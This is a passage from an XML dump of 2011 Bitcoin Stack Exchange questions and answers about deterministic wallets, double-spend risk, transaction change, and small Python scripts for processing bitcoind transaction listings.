  <row Id="711" PostTypeId="2" ParentId="636" CreationDate="2011-09-07T19:41:30.520" Score="6" Body="&lt;p&gt;Satoshi didn't remove the alert system; it still exists in the client. However, it cannot trigger RPC safe mode as it could before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no plans to remove all traces of it, as all it does in its current state is display a warning message.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2011-09-07T19:41:30.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostTypeId="2" ParentId="541" CreationDate="2011-09-07T19:46:09.640" Score="3" Body="&lt;p&gt;You can use also use the standard bitcoin URI QR codes to transfer bitcoin addresses from one application to another. For instance you can show your Instawallet.com bitcoin address as a QR code and drag it into the MultiBit send bitcoin screen. (www.multibit.org). It automatically parses it and creates an 'address book' entry with the bitcoin address and label 'Instawallet'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, you can generate a bitcoin QR code with a bitcoin address and your name as a label in the MultiBit receive bitcoin screen, copy it and print it on the back of your business card. &lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2011-09-07T19:46:09.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostTypeId="2" ParentId="706" CreationDate="2011-09-07T20:05:11.293" Score="2" Body="&lt;p&gt;I don't believe bitcoind has any kind of a sort option. The output of &lt;code&gt;bitcoind listtransactions&lt;/code&gt; is in chronological order, but the output of your command could be written to a text file and parsed by any number of simple scripts. I don't have one offhand but the output is in JSON which most languages (including &lt;a href=&quot;http://docs.python.org/library/json.html&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;, my favorite) handle quite nicely. Once you bring the JSON data in it should be a simple matter of &lt;a href=&quot;http://wiki.python.org/moin/HowTo/Sorting&quot; rel=&quot;nofollow&quot;&gt;sorting&lt;/a&gt; the transactions array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;Depending on what data you're trying to extract and in what format, you may be able to do something with Gavin Andresen's &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;bitcointools&lt;/a&gt; scripts.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-07T21:41:22.743" LastActivityDate="2011-09-07T21:41:22.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="714" PostTypeId="2" ParentId="703" CreationDate="2011-09-07T20:19:08.540" Score="2" Body="&lt;p&gt;That would, of course, require trust that the site actually honors your request to send the funds to the address you provided rather than their own address -- so there is a level of trust required, just as there would be with an eWallet or exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any service yet [Upate: Mt. Gox and Blockchain.info/wallet both offer this], but because the patched Bitcoin client with this feature has been available for quite some time, the technical difficulty in providing this as a web service is not significant.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-08T06:48:01.097" LastActivityDate="2012-09-08T06:48:01.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="715" PostTypeId="1" AcceptedAnswerId="717" CreationDate="2011-09-07T20:32:15.273" Score="4" ViewCount="23250" Body="&lt;p&gt;Is it possible to mine with Nvidia Quadro 600? Both GUIMiner and DiabloMiner report that no OpenCL platforms/devices were found. How can I check if GPU has OpenCL?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="5406" LastEditDate="2016-01-21T10:13:28.660" LastActivityDate="2021-02-01T13:10:21.327" Title="No OpenCL platforms found?" Tags="|diablominer|gpu-mining|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostTypeId="2" ParentId="541" CreationDate="2011-09-07T20:52:43.487" Score="3" Body="&lt;p&gt;You can use QR codes with Shamir's Secret Sharing for making secure backups of deterministic wallets: &lt;a href=&quot;http://code.google.com/p/bccapi/wiki/ManagingLongPassphrases&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bccapi/wiki/ManagingLongPassphrases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2011-09-07T20:52:43.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostTypeId="2" ParentId="715" CreationDate="2011-09-07T20:53:00.903" Score="5" Body="&lt;p&gt;NVidia cards require that you install the &lt;a href=&quot;http://developer.nvidia.com/cuda-downloads&quot; rel=&quot;noreferrer&quot;&gt;CUDA drivers&lt;/a&gt; in addition to the standard video card drivers (ATI/AMD cards ship with OpenCL as part of their driver package). Without these drivers installed they will not be available to any miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Quadro 600 appears on the list of &lt;a href=&quot;http://developer.nvidia.com/cuda-gpus&quot; rel=&quot;noreferrer&quot;&gt;CUDA compatible GPUs&lt;/a&gt; it should be mineable, though what kind of performance you'll get is questionable.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-07T20:53:00.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostTypeId="1" AcceptedAnswerId="720" CreationDate="2011-09-07T21:19:10.987" Score="39" ViewCount="8582" Body="&lt;p&gt;It sounds as if it's a process that enables a wallet to be rebuilt from a passphrase, or from several fragments scattered about. Could someone provide a detailed technical explanation?&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2016-07-16T02:29:43.327" Title="What is a deterministic wallet?" Tags="|security|wallet|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="720" PostTypeId="2" ParentId="718" CreationDate="2011-09-07T21:27:12.000" Score="17" Body="&lt;p&gt;You've hit the nail on the head. A deterministic wallet is any system which uses a passphrase or other snippet of data to build a keypair in a repeatable manner. So long as you remember the passphrase, the keypair can be re-generated from it, so storage is no longer a security concern. There are several methods for generating deterministic wallets, but my favorite is Casascius' &lt;a href=&quot;https://github.com/casascius/Bitcoin-Address-Utility&quot;&gt;Bitcoin-Address generator&lt;/a&gt; (C#, Windows, &lt;a href=&quot;http://dl.dropbox.com/u/20411213/BtcAddress.zip&quot;&gt;binaries here&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-07T21:27:12.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostTypeId="2" ParentId="718" CreationDate="2011-09-07T21:29:04.517" Score="17" Body="&lt;p&gt;Normally, when you send money you also generate a new private/public key for the &quot;change&quot; to return. therefore every time you send money your wallet.dat grows a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Basic Idea of the deterministic wallet: instead of a database with lots of private/public keys you start with a single private key, from which all future keys can be calculated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has many advantages. It is trivial to back up and transferable. it could be used from multiple computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;afaik, &lt;a href=&quot;https://webcoin.ch/&quot;&gt;webcoin.ch&lt;/a&gt; uses this concept. The current &quot;official&quot; client not.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2011-09-07T21:29:04.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostTypeId="1" CreationDate="2011-09-07T21:38:18.830" Score="29" ViewCount="6317" Body="&lt;p&gt;There is a lot of concern about waiting for confirmations to avoid a double spend attack, but has there ever actually been a double spend attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be that there are two types of double spend attack.  One is perpetrated without a significant fraction of the network's total mining power.  In order to successfully perpetrate this the attacker must send both transactions nearly simultaneously.  If there is a significant delay between the legitimate transaction and the double spend then almost every miner will receive the legitimate transaction before the double spend.  The miners will reject the double spend, and the legitimate transaction will be almost guaranteed to be included in the next block.  Thus to successfully perpetrate this kind of double spend, the attacker must send out both transactions simultaneously so that half the network is working on one and half the network is working on the other.  However if they do this, then it should be easy for the payee to immediately detect and thus the payee can reject the payment within seconds.  Thus a double spend attack without a substantial fraction of the network power would not seem to be a problem--it is easily and immediately detected (or it will fail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the only kind of double spend that is likely to succeed is one where the attacker controls a substantial fraction of the network power and can catch up from an initial handicap in block creation.  However, until such a double spend has been demonstrated it implies that no malicious entity has achieved control over a substantial fraction of the networks computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if a double spend attack has never been perpetrated, everyday users transferring small amounts of bitcoins can be very confident that they will not be victims of a double spend attack (what are the chances of being the first?) and forgo waiting for confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(People conducting very large anonymous transactions on the other hand may be among the first people targeted by an double spender who has achieved a substantial fraction of network computing power)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that analysis correct?&lt;/p&gt;&#xA;" OwnerUserId="224" LastEditorUserId="5406" LastEditDate="2016-01-21T10:13:01.507" LastActivityDate="2016-01-21T10:13:01.507" Title="Has there ever been a successful double spend attack on the Bitcoin network? If not, is it really necessary to wait for confirmations?" Tags="|transactions|confirmations|doublespend|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="723" PostTypeId="2" ParentId="718" CreationDate="2011-09-07T21:42:33.227" Score="4" Body="&lt;p&gt;Another example using deterministic wallets is the BCCAPI, which is a library for making light-weight secure Bitcoin clients. &lt;a href=&quot;http://code.google.com/p/bccapi/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bccapi/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2011-09-07T21:42:33.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="724" PostTypeId="2" ParentId="722" CreationDate="2011-09-07T22:14:08.413" Score="10" Body="&lt;p&gt;This question has been asked several times in several different places, and nobody has yet come forward with evidence of a double-spend attack. It is, of course, possible that nobody is bothering with such an attack because everyone waits for confirmations anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your analysis is correct. You can act on fewer confirmations with the same level of reliability if you monitor the network from multiple points -- ideally as close to as many large mining pools as possible. And if someone ever did succeed in causing such an attack, you would have irrefutable proof -- the conflicting transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if mining pools would be willing to provide a web page that lists the transactions they intend to include in the next block (assuming they mined one just then). If a few of the larger pools did this, that would allow you to be much more certain that there was no conflicting transaction on the network. If the two largest pools have your transactions and none of the pools have a conflicting transaction, you can be nearly certain you are safe even with no confirmations.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-07T22:14:08.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="725" PostTypeId="2" ParentId="706" CreationDate="2011-09-07T23:41:07.260" Score="3" Body="&lt;p&gt;I am not sure what you mean by sorting, but here is a little python script to check for duplicate txid's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json&#xA;from sys import argv, stdin&#xA;&#xA;file = stdin.read() #reads transaction list from input&#xA;json_file = json.loads(file)&#xA;&#xA;#counts the number of duplicate txid's&#xA;txid_list = [transaction[&quot;txid&quot;] for transaction in json_file]&#xA;print &quot;There are&quot;, len(txid_list) - len(set(txid_list)), &quot;duplicates&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's suppose that you save this to a file named &lt;code&gt;check_duplicates.py&lt;/code&gt;. Now you just need to output the transactions to a file and feed it to the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bitcoind -datadir=1 listtransactions &quot;*&quot; &amp;gt; transactions.log&#xA;$ python check_duplicates.py &amp;lt; transactions.log&#xA;There are N duplicates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on what you need, other sorting operations can be done. It's easy to manage json with python.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-07T23:48:03.347" LastActivityDate="2011-09-07T23:48:03.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="726" PostTypeId="1" AcceptedAnswerId="728" CreationDate="2011-09-08T00:01:29.097" Score="4" ViewCount="3681" Body="&lt;p&gt;I have a few BSD-based systems sitting around serving away, but for the most part they're idle CPU-wise. Does anyone knew of a bitcoin client that I could run on these machines to make them more productive while they wait for requests?&lt;/p&gt;&#xA;" OwnerUserId="232" LastEditorUserId="55" LastEditDate="2011-09-08T05:28:25.613" LastActivityDate="2011-09-08T16:20:19.353" Title="Is there a BSD Bitcoin client?" Tags="|client|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="727" PostTypeId="2" ParentId="517" CreationDate="2011-09-08T00:07:34.067" Score="5" Body="&lt;p&gt;One piece of technology that may provide an answer lies in federated servers, made possible by fellowtraveller's &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions&quot;&gt;Open Transactions&lt;/a&gt; libraries. This is the same M of N signing that David Perry is talking about in his answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a small e-wallet provider, you would join up with some colleagues, forming a network of wallet operators. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the scripting capabilities of Bitcoin, user Alice can create a special transaction and post it to the blockchain. This transaction is basically an IOU - it has an expiration date, and some instructions. If the instructions are met before the transaction expires, the transaction takes place, and the Bitcoin network agrees that the money is transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice can specify multiple parties (i.e. you and your colleagues) to be the executors of the IOU. Her script can say &quot;I require 9 out of these 10 wallet servers to sign this transaction.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this collection of federated servers must reach a consensus to make the transaction happen. If one, two, or eight of the ten servers are hacked, or the operators are forced to reveal the keys entrusted to them, the attacker won't be able to spend Alice's bitcoins, because he won't have the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encourage anyone interested to check out the github repo and contribute. Fellowtraveller has done all of this work on his own so far and needs help.&lt;/p&gt;&#xA;" OwnerUserId="234" LastActivityDate="2011-09-08T00:07:34.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostTypeId="2" ParentId="726" CreationDate="2011-09-08T00:09:12.923" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;standard Bitcoin client&lt;/a&gt; should run on BSD machines. If you encounter any difficulties getting it to compile or run, ask more specific questions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="44" LastEditDate="2011-09-08T16:00:11.707" LastActivityDate="2011-09-08T16:00:11.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="729" PostTypeId="2" ParentId="722" CreationDate="2011-09-08T00:28:54.437" Score="13" Body="&lt;p&gt;For what it's worth, MyBitcoin.com &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34770.0&quot;&gt;claimed&lt;/a&gt; that their closure was precipitated by a series of double-spend attacks:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our programmer was under the assumption that one block was good enough&#xA;  to secure a transaction. Two years ago when the software was written,&#xA;  this single confirm myth was a popular belief.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;User &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=35&quot;&gt;theymos&lt;/a&gt; (an administrator of the bitcointalk.org forums) had &lt;a href=&quot;http://bitcointalk.org/index.php?topic=22221.msg309173#msg309173&quot;&gt;publicly warned&lt;/a&gt; them that accepting transactions after a single confirmation was &quot;insane.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;there is no way to verify whether or not any double-spend attacks have actually taken place&lt;/strong&gt; because to my knowledge no one is currently scanning for them on the network (doublespent transactions are normally discarded after the event is resolved to the satisfaction of the block-chain).  All we can observe publicly are &lt;a href=&quot;http://blockexplorer.com/q/reorglog&quot;&gt;block-chain reorganisations&lt;/a&gt; which also naturally occur from time to time when blocks are found near-simultaneously by different miners or pools.  Perhaps a statistical argument could estimate how often these should be occurring (we've had 14 in the past month) and argue for the existence of double-spend attempts on that basis, but I've not personally seen such an analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most critically to your question about whether or not to wait for confirmation, however, is the fact that you have missed a possible attack vector, known as a &quot;Finney Attack&quot; after Hal Finney who &lt;a href=&quot;http://bitcointalk.org/index.php?topic=3441.msg48384#msg48384&quot;&gt;identified it&lt;/a&gt;.  In a Finney Attack, a miner includes one &quot;double&quot; of the two transactions in their own blocks while mining, but does not broadcast it to the network.  When they eventually find a block, they purchase something with a conflicting transaction (the second &quot;double&quot; in the double-spend attack), and then immediately broadcast their block, which will invalidate the purchasing transaction in the blockchain.  If the merchant hasn't waited for confirmation, the attacker would walk away with both the purchased item (hopefully something cashlike) and their original bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this situation and &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=CABsx9T2oCJeXKFVz4k=oT=QrtdgomJGCc5dRc%2bUqbY4zJn8nXQ@mail.gmail.com&amp;amp;forum_name=bitcoin-development&quot;&gt;its variants&lt;/a&gt; apply largely to merchants who offer 'on-demand' items delivered instantly, your analysis of &quot;everyday users transferring small amounts of bitcoins&quot; remains roughly correct.  Keep in mind that if accepting 0-confirmation transactions became the norm, the incentive for the &quot;send them simultaneously&quot; attack would rise significantly (requiring even one confirmation prevents this in the vast majority of cases).  But for the time being, regular users should be more worried about regular old &quot;you-pay-first&quot; fraud on non-escrowed transactions, and man-in-the-middle attacks where an interlocutor passes messages between two trusted parties looking to do business, then walks away with the cash while they both yell that the other person is scamming them (this attack &lt;strong&gt;has&lt;/strong&gt; been executed in the wild).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; Merchants and exchanges definitely need to wait for confirmations any time transactions are of significant value and/or in exchange for cashlike goods.  Individuals transferring small amounts need to be more worried about other aspects of trust in the exchange, and can protect themselves quite effectively with just a single confirmation.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-09-08T00:28:54.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="730" PostTypeId="1" AcceptedAnswerId="745" CreationDate="2011-09-08T00:33:05.117" Score="21" ViewCount="3511" Body="&lt;p&gt;I've been assuming that the second transaction will simply be discarded as invalid, while the first waits at 0/unconfirmed until it actually gets into a block (requiring a &quot;-rescan&quot; or similar if the second one actually ends up in the blockchain instead).  But is this the case?  &lt;strong&gt;What actually happens in the default client when two conflicting transactions are received?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity's sake assume the person running the client is the recipient of at least one of the transactions, and is &lt;strong&gt;not&lt;/strong&gt; mining.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-09-08T05:22:10.887" Title="What does the Bitcoin client do when it receives conflicting transactions?" Tags="|transactions|client|doublespend|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="731" PostTypeId="1" CreationDate="2011-09-08T01:04:40.493" Score="9" ViewCount="2259" Body="&lt;p&gt;Impossible to answer accurately, but I suppose one could come up with educated guesses and ballpark figures from the number of nodes on the network, or number of users on popular wallet services.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2011-09-08T01:20:33.180" LastActivityDate="2013-05-30T04:05:27.420" Title="How can you tell how many users Bitcoin has?" Tags="|user-base|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="732" PostTypeId="2" ParentId="423" CreationDate="2011-09-08T01:17:16.120" Score="0" Body="&lt;p&gt;I used to think that Bitcoin could make Flattr obsolete, but I changed my mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that Bitcoin alone is not very useful for micro-payments. The way I see it is that the Bitcoin blockchain transaction protocol does not scale to day-to-day end-user transactions, let alone microtransactions. The transaction volume would be way too much, and the wait for confirmations is another hassle. The way both problems will be solved is by having wallet services on top of Bitcoin, that allow instantaneous transactions between users that do not occur on the blockchain (but just on the books of the wallet services). End users would still (if they are clever) keep their saving on their own wallet files, and only occasionally transfer money in and out of these services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin exchange and gambling sites are already examples for these services (but the between-wallet-services, off-blockchain transactions are still missing, I think). Flattr could be one of these services, as could PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a nice addition for Flattr to accept Bitcoin deposits (in addition to the payment methods they already have). This has been &lt;a href=&quot;http://forum.flattr.net/showthread.php?tid=550&quot; rel=&quot;nofollow&quot;&gt;brought up on their forum&lt;/a&gt;, but they are very hesitant because of financial services regulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean-time, you could use &lt;a href=&quot;http://youtipit.org/&quot; rel=&quot;nofollow&quot;&gt;YouTipIt&lt;/a&gt;, which is a similar service to Flattr, but using Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-08T01:17:16.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="733" PostTypeId="1" AcceptedAnswerId="759" CreationDate="2011-09-08T01:27:17.507" Score="19" ViewCount="1334" Body="&lt;p&gt;Right now, full clients of the Bitcoin network store every block ever generated (while &quot;thin&quot; clients instead rely on a node which does so).  This greatly increases first-time initialisation for the client, and also has significant implications for network overhead, amongst other things.  &lt;strong&gt;How would the network be impacted if nodes instead stored only the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot;&gt;headers&lt;/a&gt; of most blocks in the blockchain until or unless they &quot;needed&quot; the actual block?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These situations are fairly common, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;verifying the validity of each new block as it is found and transmitted to the network&lt;/li&gt;&#xA;&lt;li&gt;any time the client is sending or receiving bitcoins&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so that in general clients would still download all blocks broadcast when they were online.  However they would be able to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;purge blocks they &quot;don't care about&quot; if storage space is limited&lt;/li&gt;&#xA;&lt;li&gt;in the typical case, start sending and receiving bitcoins after downloading only the few most relevant blocks (and all the headers of course)&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that there are usually several entities &quot;invested in&quot; the continued availability of a given block, such as the original miner, who wants their 50 btc earned to remain valid, and anyone who received bitcoins from transactions in that block.  However, one intriguing consequence of this scenario would be that miners are incentivised to include as many transactions in their blocks as possible (currently one can mine without including &lt;em&gt;any&lt;/em&gt; transactions if one so desires).  What would the other impacts on functionality and security be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I'm looking for a better answer than &quot;I think it would destabilize the network&quot; here--I want to see some estimated impacts on block availability, network overhead up or down once the lower amount of downloading is contrasted with re-downloading later, etc.  Some statistics on how inter-dependent blocks are alone would go a long way towards a solid answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&#xA;Right now this bounty's going to Shadders in a couple of hours.  But if anyone had more detailed info on the information I asked for in my first edit, they could definitely snipe it.  Any takers? &lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-20T16:00:54.067" LastActivityDate="2012-01-03T21:45:04.623" Title="How would the Bitcoin protocol be impacted if nodes only stored the blocks they cared about?" Tags="|blockchain|network|protocol|block-header|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostTypeId="2" ParentId="706" CreationDate="2011-09-08T01:34:10.047" Score="10" Body="&lt;p&gt;You can run the listtransaction JSON output through this little python script (save it as jsonTOCSV.py). That will produce csv (comma separated value) output that Excel or Google Spreadsheets can import, both of which can sort by columns (if I recall correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoind listtransactions | jsonTOCSV.py &gt; transactions.csv&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;#&#xA;# Reads an array of JSON objects and writes out CSV-format,&#xA;# with key names in first row.&#xA;# Columns will be union of all keys in the objects.&#xA;#&#xA;&#xA;import csv&#xA;import json&#xA;import sys&#xA;&#xA;json_string = sys.stdin.read()&#xA;json_array = json.loads(json_string)&#xA;&#xA;columns = set()&#xA;for item in json_array:&#xA;  columns.update(set(item))&#xA;&#xA;writer = csv.writer(sys.stdout)&#xA;writer.writerow(list(columns))&#xA;for item in json_array:&#xA;  row = []&#xA;  for c in columns:&#xA;    if c in item: row.append(str(item[c]))&#xA;    else: row.append('')&#xA;  writer.writerow(row)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-09-08T01:34:10.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="735" PostTypeId="2" ParentId="658" CreationDate="2011-09-08T01:40:52.900" Score="9" Body="&lt;p&gt;And then there is the denial of service possibility of suddenly withdrawing from the service, taking the necessary computing resources away to continue to solve blocks every ten minutes until the difficulty is adjusted down again (which could take a long time if there is only a block every day for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, for that one would need much more than 51% of hash power. &lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-08T01:40:52.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="736" PostTypeId="1" CreationDate="2011-09-08T01:55:16.043" Score="52" ViewCount="13286" Body="&lt;p&gt;It seems that when you send a bitcoin transaction, all the coins in the sending address are spent in that transaction, divided into the amount that you intended to send, and &quot;change&quot;, which goes back to you, but at another (newly created) receiving address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That makes it a bit difficult to track your balance on block explorer (especially since the new receiving address does not seem to be displayed in the Bitcoin client anywhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it have it have to work like this, or is this a specific implementation detail of the client software? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do you have to wait for change to be confirmed before you can spend it again?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="516" LastEditDate="2012-12-06T00:36:35.100" LastActivityDate="2022-12-31T23:01:10.907" Title="How does change work in a bitcoin transaction?" Tags="|transactions|protocol|change|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostTypeId="2" ParentId="687" CreationDate="2011-09-08T02:28:35.627" Score="-4" Body="&lt;p&gt;Presumably because Paypal is an arm of eBay which has to tread water on its own, making Bitcoin a fair threat, since it does away with the standard payment processing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Checkout is just a service of Google, which doesn't really factor into Google's overall earning strategy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, google tries to appear nerd chic, which is easier if you don't anger your IT guys.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2011-09-08T02:28:35.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostTypeId="2" ParentId="736" CreationDate="2011-09-08T03:06:47.297" Score="40" Body="&lt;p&gt;First, let's clarify the difference between accounts and addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Accounts&quot; are used for the convenience of people to track their funds. This is primarily used to track the source of funds. Since this is just for your tracking, you can move Bitcoins from one account to another just by moving a number from one column to another. No transactions are needed. (This is like when you know you owe your son $25 for allowance, and you have $200 budgeted for groceries.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Addresses&quot; are used to receive Bitcoins in transactions. The coins are sent to an address. The client associates each address with an account and adds received funds to that account. This is simply done for convenience to allow people to track indirectly which address funds were sent to. But you can have any number of addresses associated with the same account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change comes from the way Bitcoins are spent. To spend a certain number of Bitcoins, you must pull in Bitcoins from transaction outputs to accounts you control. Note that in the spending part, it doesn't matter what address this is or what account that address is associated with. When you spend Bitcoins from a particular account, that just means you debit that account for the amount you send. It doesn't mean the funds come from addresses associated with that account. Remember, the association between addresses and accounts is for &lt;em&gt;receiving&lt;/em&gt; only, not sending. (Like when you spend money on groceries, it's not like you have specific bills for groceries. You just have an amount budgeted.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you pull in transaction outputs, you form a pile of Bitcoins big enough for the number you are trying to send. Usually, it won't be exact since you must claim an entire output. So the excess forms the 'change'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no address associated with sending Bitcoins, there is no particular address the change should be sent to. So, to preserve anonymity, the client creates a new one just to receive the change from this transaction. Since this address isn't really associated with an account and shouldn't be used to receive any more Bitcoins (because that would senselessly tell people the same recipient got the coins as got this change) the client does not display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the client manages coins in a particular way, it doesn't make sense to try to view coins it is managing with any kind of explorer. It's specifically trying to obscure the fact that all the coins are related. Those kinds of services are intended to monitor &lt;em&gt;recieved&lt;/em&gt; funds, not managed funds.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-08T03:23:04.883" 